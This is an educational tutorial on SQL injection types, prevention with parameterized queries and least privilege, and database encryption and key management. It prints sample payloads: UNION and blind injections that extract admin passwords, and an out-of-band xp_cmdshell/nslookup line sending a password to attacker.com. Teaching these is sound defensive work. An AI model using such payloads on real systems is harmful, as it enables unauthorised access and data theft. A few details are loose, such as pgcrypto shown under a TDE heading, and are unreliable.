Menu

Earn Premium with Referrals

Invite your friends and earn Premium rewards through our referral program.

See how it works and start inviting friends.

SQL Injection and Encryption
DBMS

SQL Injection and Encryption

Deep dive into SQL injection attacks — how they work, all injection types, complete prevention strategies — plus encryption methods for protecting data.

SQL Injection and Encryption

SQL injection and encryption represent two sides of database security. SQL injection is the most common attack vector against databases. Encryption is the primary defense when data is stolen.

This chapter provides a deep, practical understanding of both topics.


Learning Objectives

After completing this chapter, you will be able to:

  • Understand how SQL injection attacks work.
  • Identify all types of SQL injection.
  • Write injection-proof queries using parameterized statements.
  • Implement encryption at rest and in transit.
  • Use Transparent Data Encryption and column-level encryption.
  • Answer advanced security interview questions.

What is SQL Injection?

SQL Injection is a code injection technique where an attacker inserts malicious SQL statements into application queries through user input fields.

Root Cause

User input is concatenated directly into SQL queries without proper sanitization or parameterization.

Impact

  • Data theft (read sensitive data).
  • Data destruction (DROP, DELETE, TRUNCATE).
  • Data modification (UPDATE).
  • Privilege escalation.
  • Remote code execution (in extreme cases).

Types of SQL Injection

1. In-Band SQL Injection (Classic)

The attacker uses the same communication channel to inject and retrieve results.

Error-Based

The attacker triggers database errors to leak information.

' OR 1=1; --
' UNION SELECT username, password FROM users; --

Union-Based

The attacker uses UNION to combine results from another query.

SELECT Name, Email FROM Users WHERE Id = 1
UNION SELECT Username, Password FROM Admins;

2. Blind SQL Injection

The attacker does not see error messages or direct results but infers information from the application’s behavior.

Boolean-Based

The application behaves differently based on whether a condition is true or false.

' OR (SELECT SUBSTRING(password,1,1) FROM admins WHERE id=1) = 'a' --

If true → page loads normally. If false → error or different page.

The attacker guesses the password character by character.

Time-Based

The attacker uses database sleep commands to infer information.

' OR IF((SELECT password FROM admins WHERE id=1) LIKE 'a%', SLEEP(5), 0) --

If the page takes 5 seconds to load → the first character is ‘a’.


3. Out-of-Band SQL Injection

The attacker uses a different channel (DNS, HTTP) to exfiltrate data.

' EXEC master..xp_cmdShell 'nslookup attacker.com?data=' + password --

This sends the password to the attacker’s DNS server.


SQL Injection Prevention

Method 1: Parameterized Queries (Strongest Defense)

#  VULNERABLE
name = request.form['name']
query = f"SELECT * FROM Users WHERE Name = '{name}'"

#  SAFE — Parameterized
cursor.execute("SELECT * FROM Users WHERE Name = %s", (name,))

The database receives the SQL template and the parameters separately. User input is always treated as data, never as code.

Method 2: Stored Procedures

Stored procedures can be safe if they use parameterized inputs.

CREATE PROCEDURE GetUser @Name NVARCHAR(100)
AS
BEGIN
    SELECT * FROM Users WHERE Name = @Name
END

Method 3: Input Validation + Whitelisting

import re

# Whitelist: only allow alphanumeric
if not re.match(r'^[a-zA-Z0-9_@.]+$', username):
    raise ValueError("Invalid characters")

Method 4: ORM Frameworks

ORMs (SQLAlchemy, Hibernate, Entity Framework) automatically use parameterized queries.

# SQLAlchemy
User.query.filter(User.name == request.form['name']).all()

Method 5: Least Privilege

-- The web app user should only have SELECT on specific tables
GRANT SELECT ON Users TO web_app_user;
-- NO: DROP, ALTER, CREATE permissions

Even if SQL injection succeeds, the attacker can only read users — not drop tables.


Defense in Depth

LayerDefense
ApplicationParameterized queries, input validation, ORM
DatabaseLeast privilege, no DDL grants for app users
NetworkWAF (Web Application Firewall), rate limiting
MonitoringDetect anomalous queries, alert on suspicious patterns

Encryption at Rest

Transparent Data Encryption (TDE)

TDE encrypts the database files at the storage layer.

How It Works

  1. The database encrypts data pages before writing to disk.
  2. The database decrypts pages when reading from disk.
  3. Encryption/decryption is transparent to the application.

Setup (PostgreSQL with pgcrypto)

-- Enable extension
CREATE EXTENSION pgcrypto;

-- Encrypt a column
UPDATE users SET credit_card = pgp_sym_encrypt('1234-5678-9012-3456', 'encryption_key');

-- Decrypt
SELECT pgp_sym_decrypt(credit_card, 'encryption_key') FROM users;

Setup (MySQL InnoDB)

[mysqld]
innodb_encrypt_tables = ON
innodb_encryption_threads = 4

Column-Level Encryption

Only specific columns containing sensitive data are encrypted.

ColumnEncrypted?Reason
NameNoNot sensitive
EmailNoNeeded for search
PasswordYes (hashed)Must never be readable
Credit CardYesPCI-DSS requirement
SSNYesPII protection

Encryption in Transit

TLS for Database Connections

PostgreSQL

# postgresql.conf
ssl = on
ssl_cert_file = 'server.crt'
ssl_key_file = 'server.key'
ssl_ca_file = 'root.crt'

MySQL

[mysqld]
require_secure_transport = ON
ssl-ca = ca.pem
ssl-cert = server-cert.pem
ssl-key = server-key.pem

Connection Strings

# PostgreSQL with required TLS
conn = psycopg2.connect(
    host="db.example.com",
    sslmode="require"
)

# MySQL with TLS
import mysql.connector
conn = mysql.connector.connect(
    host="db.example.com",
    ssl_ca="ca.pem"
)

Key Management

Encryption is only as strong as the key management.

PracticeWhy
Use a Key Management Service (KMS)AWS KMS, Azure Key Vault, HashiCorp Vault
Rotate keys regularlyLimits damage if a key is compromised
Separate keys from dataDo not store keys in the same database
Use hardware security modules (HSM)For high-security environments
Backup keys securelyLosing the key = losing the data

Common Mistakes

MistakeWhy It Fails
Client-side validation onlyAttackers bypass client code easily
Escaping quotes (addslashes)Not all injection uses quotes; context matters
Using blacklistsAttackers find ways around blocked keywords
Stored procedures without parametersDynamic SQL inside procedures is still vulnerable
SSL without verificationMan-in-the-middle attacks if certificates aren’t verified
Default passwordsMost breaches start with default credentials

Interview Deep Dive

Q: Why is parameterized query safer than escaping user input?

A: Escaping is context-dependent and error-prone. Different databases use different escape characters, and there are always edge cases (like multi-byte character attacks in MySQL). Parameterized queries guarantee separation of code and data at the database protocol level — the input can never be interpreted as SQL syntax, regardless of what characters it contains.

Q: How does a blind SQL injection attack work?

A: The attacker cannot see query results or error messages. They ask yes/no questions by injecting conditions. Example: ' OR (SELECT SUBSTRING(Password,1,1) FROM Admins) = 'a' -- If the page loads normally, the first password character is ‘a’. The attacker iterates through each character position and each possible character, effectively reading the password one bit at a time.

Q: When should you use TDE versus column-level encryption?

A: TDE protects the entire database file at the storage level — it is transparent to the application and has minimal performance impact. Use TDE when you need to protect against physical theft of disks or backups. Column-level encryption protects specific sensitive data within the database — it requires application changes and key management but provides finer control. Use both: TDE for base protection, column-level for highly sensitive fields like credit card numbers.

Q: Can SQL injection still occur when using an ORM?

A: Yes — if you use raw query features or string concatenation inside the ORM. Example in SQLAlchemy: session.execute(f"SELECT * FROM users WHERE name = '{name}'") is still vulnerable. Also, dynamic sorting/filtering that uses user input in column names or ORDER BY clauses bypasses ORM protections. Always use the ORM’s parameterized query methods.


Key Takeaways

  • SQL injection occurs when user input is concatenated into SQL without proper separation.
  • Parameterized queries are the only complete defense against SQL injection.
  • Blind SQL injection infers data bit-by-bit through boolean or time-based responses.
  • Defense in depth: parameterized queries + least privilege + WAF + monitoring.
  • Encryption at rest protects data on disk (TDE, column-level).
  • Encryption in transit protects data over the network (TLS/SSL).
  • Key management is more important than the encryption algorithm itself.
  • Never trust user input — validate, parameterize, and restrict at every layer.

My Private Notes

Notes are auto-saved locally to this device.